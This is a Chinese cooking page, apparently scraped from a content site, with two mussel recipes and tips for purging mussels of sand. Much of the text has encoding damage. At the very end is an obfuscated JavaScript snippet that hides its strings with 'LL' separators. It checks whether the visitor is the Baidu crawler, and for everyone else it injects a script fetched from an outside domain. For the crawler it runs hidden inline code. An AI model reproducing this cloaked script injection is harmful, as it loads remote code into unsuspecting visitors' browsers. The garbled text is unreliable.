當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

海虹怎么吃?海虹的清洗方法

2016-07-16 18:47:10  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:用筷子將海虹與盆底隔開,因?yàn)楹:绲奈恢靡恢倍际窃谒柚醒耄鲁鰜淼纳匙?,直接沉底了,懸在中間的海虹再吸進(jìn)來的水又是干凈的。

海虹怎么吃?海虹的清洗方法

海虹怎么吃?海虹的清洗方法

九層塔炒海虹的做法

原料:海虹500g、蒜5-6瓣、九層塔1把、鹽及現(xiàn)磨黑胡椒適量、無鹽黃油5g、橄欖油20ml、白蘭地或白葡萄酒1/2杯。

做法:

1、蒜瓣切成蒜末,九層塔去粗梗摘取葉子洗凈;

2、海虹解凍后用刷子把外殼刷干凈,沖洗一下瀝干;

3、炒鍋燒熱,放入橄欖油與黃油,小火加熱后,放入蒜末煸香;

4、轉(zhuǎn)大火倒入海虹,烹入白蘭地;

5、接著調(diào)入鹽和黑胡椒炒勻,蓋上鍋蓋燜2分鐘;

6、打開鍋蓋,放入九層塔葉,翻炒幾下即可。

白灼小海虹的做法

原料:蔥姜若干、海虹1斤。

做法:

1、將海虹反復(fù)清洗,用刷子刷干凈外殼,用手撕去草(朝頭大那頭撕)。

2、燒開一鍋水,下入蔥姜,下入淡菜,加入一大勺料酒。

3、待海虹張開口,撈出裝盤。

4、味汁:蒜泥+鮮醬油+米醋+芝麻油。

海虹的清洗方法

用筷子將海虹與盆底隔開,因?yàn)楹:绲奈恢靡恢倍际窃谒柚醒耄鲁鰜淼纳匙?,直接沉底了,懸在中間的海虹再吸進(jìn)來的水又是干凈的。

買海虹時(shí)向老板要一點(diǎn)海鹽,溶于清水中,營(yíng)造海水的味兒。然后在盆中放兩只平時(shí)不咋用的筷子,目的是不讓小筐沉底,最后將裝滿海虹的漏筐放在上面浸泡,再滴幾滴麻油,2-3小時(shí)后就會(huì)看到盆底的臟東西會(huì)有很多。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}